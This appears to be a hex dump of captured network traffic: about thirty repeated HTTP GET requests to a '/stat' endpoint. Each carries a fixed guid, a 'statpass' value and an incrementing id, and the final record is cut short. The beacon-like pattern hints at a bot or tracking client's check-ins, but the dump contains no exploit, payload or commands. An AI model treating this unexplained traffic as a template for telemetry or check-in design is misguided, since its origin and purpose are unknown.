0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30333842 41423426 73746174 70617373   038BAB4&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d363638 64336462   =30&guid=668d3db
0x00000070 (00112)   362d6430 61662d34 6336382d 38386636   6-d0af-4c68-88f6
0x00000080 (00128)   2d303837 37643339 31373736 6126636f   -0877d391776a&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30333843 45374226 73746174 70617373   038CE7B&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d363638 64336462   =30&guid=668d3db
0x00000070 (00112)   362d6430 61662d34 6336382d 38386636   6-d0af-4c68-88f6
0x00000080 (00128)   2d303837 37643339 31373736 6126636f   -0877d391776a&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30333845 32353126 73746174 70617373   038E251&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d363638 64336462   =30&guid=668d3db
0x00000070 (00112)   362d6430 61662d34 6336382d 38386636   6-d0af-4c68-88f6
0x00000080 (00128)   2d303837 37643339 31373736 6126636f   -0877d391776a&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30333846 36313726 73746174 70617373   038F617&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d363638 64336462   =30&guid=668d3db
0x00000070 (00112)   362d6430 61662d34 6336382d 38386636   6-d0af-4c68-88f6
0x00000080 (00128)   2d303837 37643339 31373736 6126636f   -0877d391776a&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30333930 39434526 73746174 70617373   03909CE&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d363638 64336462   =30&guid=668d3db
0x00000070 (00112)   362d6430 61662d34 6336382d 38386636   6-d0af-4c68-88f6
0x00000080 (00128)   2d303837 37643339 31373736 6126636f   -0877d391776a&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30333931 44383526 73746174 70617373   0391D85&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d363638 64336462   =30&guid=668d3db
0x00000070 (00112)   362d6430 61662d34 6336382d 38386636   6-d0af-4c68-88f6
0x00000080 (00128)   2d303837 37643339 31373736 6126636f   -0877d391776a&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30333933 31364226 73746174 70617373   039316B&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d363638 64336462   =30&guid=668d3db
0x00000070 (00112)   362d6430 61662d34 6336382d 38386636   6-d0af-4c68-88f6
0x00000080 (00128)   2d303837 37643339 31373736 6126636f   -0877d391776a&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30333934 35353026 73746174 70617373   0394550&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d363638 64336462   =30&guid=668d3db
0x00000070 (00112)   362d6430 61662d34 6336382d 38386636   6-d0af-4c68-88f6
0x00000080 (00128)   2d303837 37643339 31373736 6126636f   -0877d391776a&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30333935 39323726 73746174 70617373   0395927&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d363638 64336462   =30&guid=668d3db
0x00000070 (00112)   362d6430 61662d34 6336382d 38386636   6-d0af-4c68-88f6
0x00000080 (00128)   2d303837 37643339 31373736 6126636f   -0877d391776a&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30333936 44304326 73746174 70617373   0396D0C&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d363638 64336462   =30&guid=668d3db
0x00000070 (00112)   362d6430 61662d34 6336382d 38386636   6-d0af-4c68-88f6
0x00000080 (00128)   2d303837 37643339 31373736 6126636f   -0877d391776a&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30333938 30463226 73746174 70617373   03980F2&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d363638 64336462   =30&guid=668d3db
0x00000070 (00112)   362d6430 61662d34 6336382d 38386636   6-d0af-4c68-88f6
0x00000080 (00128)   2d303837 37643339 31373736 6126636f   -0877d391776a&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30333939 34463726 73746174 70617373   03994F7&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d363638 64336462   =30&guid=668d3db
0x00000070 (00112)   362d6430 61662d34 6336382d 38386636   6-d0af-4c68-88f6
0x00000080 (00128)   2d303837 37643339 31373736 6126636f   -0877d391776a&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30333941 39304326 73746174 70617373   039A90C&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d363638 64336462   =30&guid=668d3db
0x00000070 (00112)   362d6430 61662d34 6336382d 38386636   6-d0af-4c68-88f6
0x00000080 (00128)   2d303837 37643339 31373736 6126636f   -0877d391776a&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30333942 44303126 73746174 70617373   039BD01&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d363638 64336462   =30&guid=668d3db
0x00000070 (00112)   362d6430 61662d34 6336382d 38386636   6-d0af-4c68-88f6
0x00000080 (00128)   2d303837 37643339 31373736 6126636f   -0877d391776a&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30333944 30443726 73746174 70617373   039D0D7&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d363638 64336462   =30&guid=668d3db
0x00000070 (00112)   362d6430 61662d34 6336382d 38386636   6-d0af-4c68-88f6
0x00000080 (00128)   2d303837 37643339 31373736 6126636f   -0877d391776a&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30333945 34384526 73746174 70617373   039E48E&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d363638 64336462   =30&guid=668d3db
0x00000070 (00112)   362d6430 61662d34 6336382d 38386636   6-d0af-4c68-88f6
0x00000080 (00128)   2d303837 37643339 31373736 6126636f   -0877d391776a&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30333946 38353526 73746174 70617373   039F855&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d363638 64336462   =30&guid=668d3db
0x00000070 (00112)   362d6430 61662d34 6336382d 38386636   6-d0af-4c68-88f6
0x00000080 (00128)   2d303837 37643339 31373736 6126636f   -0877d391776a&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30334130 43304226 73746174 70617373   03A0C0B&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d363638 64336462   =30&guid=668d3db
0x00000070 (00112)   362d6430 61662d34 6336382d 38386636   6-d0af-4c68-88f6
0x00000080 (00128)   2d303837 37643339 31373736 6126636f   -0877d391776a&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30334132 30303126 73746174 70617373   03A2001&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d363638 64336462   =30&guid=668d3db
0x00000070 (00112)   362d6430 61662d34 6336382d 38386636   6-d0af-4c68-88f6
0x00000080 (00128)   2d303837 37643339 31373736 6126636f   -0877d391776a&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30334133 33443726 73746174 70617373   03A33D7&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d363638 64336462   =30&guid=668d3db
0x00000070 (00112)   362d6430 61662d34 6336382d 38386636   6-d0af-4c68-88f6
0x00000080 (00128)   2d303837 37643339 31373736 6126636f   -0877d391776a&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30334134 37394426 73746174 70617373   03A479D&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d363638 64336462   =30&guid=668d3db
0x00000070 (00112)   362d6430 61662d34 6336382d 38386636   6-d0af-4c68-88f6
0x00000080 (00128)   2d303837 37643339 31373736 6126636f   -0877d391776a&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30334135 42373426 73746174 70617373   03A5B74&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d363638 64336462   =30&guid=668d3db
0x00000070 (00112)   362d6430 61662d34 6336382d 38386636   6-d0af-4c68-88f6
0x00000080 (00128)   2d303837 37643339 31373736 6126636f   -0877d391776a&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30334136 46334126 73746174 70617373   03A6F3A&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d363638 64336462   =30&guid=668d3db
0x00000070 (00112)   362d6430 61662d34 6336382d 38386636   6-d0af-4c68-88f6
0x00000080 (00128)   2d303837 37643339 31373736 6126636f   -0877d391776a&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30334138 33313026 73746174 70617373   03A8310&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d363638 64336462   =30&guid=668d3db
0x00000070 (00112)   362d6430 61662d34 6336382d 38386636   6-d0af-4c68-88f6
0x00000080 (00128)   2d303837 37643339 31373736 6126636f   -0877d391776a&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30334139 36463626 73746174 70617373   03A96F6&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d363638 64336462   =30&guid=668d3db
0x00000070 (00112)   362d6430 61662d34 6336382d 38386636   6-d0af-4c68-88f6
0x00000080 (00128)   2d303837 37643339 31373736 6126636f   -0877d391776a&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30334141 41434326 73746174 70617373   03AAACC&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d363638 64336462   =30&guid=668d3db
0x00000070 (00112)   362d6430 61662d34 6336382d 38386636   6-d0af-4c68-88f6
0x00000080 (00128)   2d303837 37643339 31373736 6126636f   -0877d391776a&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30334142 45413226 73746174 70617373   03ABEA2&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d363638 64336462   =30&guid=668d3db
0x00000070 (00112)   362d6430 61662d34 6336382d 38386636   6-d0af-4c68-88f6
0x00000080 (00128)   2d303837 37643339 31373736 6126636f   -0877d391776a&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30334144 32353926 73746174 70617373   03AD259&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d363638 64336462   =30&guid=668d3db
0x00000070 (00112)   362d6430 61662d34 6336382d 38386636   6-d0af-4c68-88f6
0x00000080 (00128)   2d303837 37643339 31373736 6126636f   -0877d391776a&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30334145 36323026 73746174 70617373   03AE620&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d363638 64336462   =30&guid=668d3db
0x00000070 (00112)   362d6430 61662d34 6336382d 38386636   6-d0af-4c68-88f6
0x00000080 (00128)   2d303837 37643339 31373736 6126636f   -0877d391776a&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30334146 39443626 73746174 70617373   03AF9D6&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d363638 64336462   =30&guid=668d3db
0x00000070 (00112)   362d6430 61662d34 6336382d 38386636   6-d0af-4c68-88f6
0x00000080 (00128)   2d303837 37643339 31373736 6126636f   -0877d391776a&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30334230 44394426 73746174 70617373   03B0D9D&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d363638 64336462   =30&guid=668d3db
0x00000070 (00112)   362d6430 61662d34 6336382d 38386636   6-d0af-4c68-88f6
0x00000080 (00128)   2d303837 37643339 31373736 6126636f   -0877d391776a&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30334232 31353426 73746174 70617373   03B2154&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d363638 64336462   =30&guid=668d3db
0x00000070 (00112)   362d6430 61662d34 6336382d 38386636   6-d0af-4c68-88f6
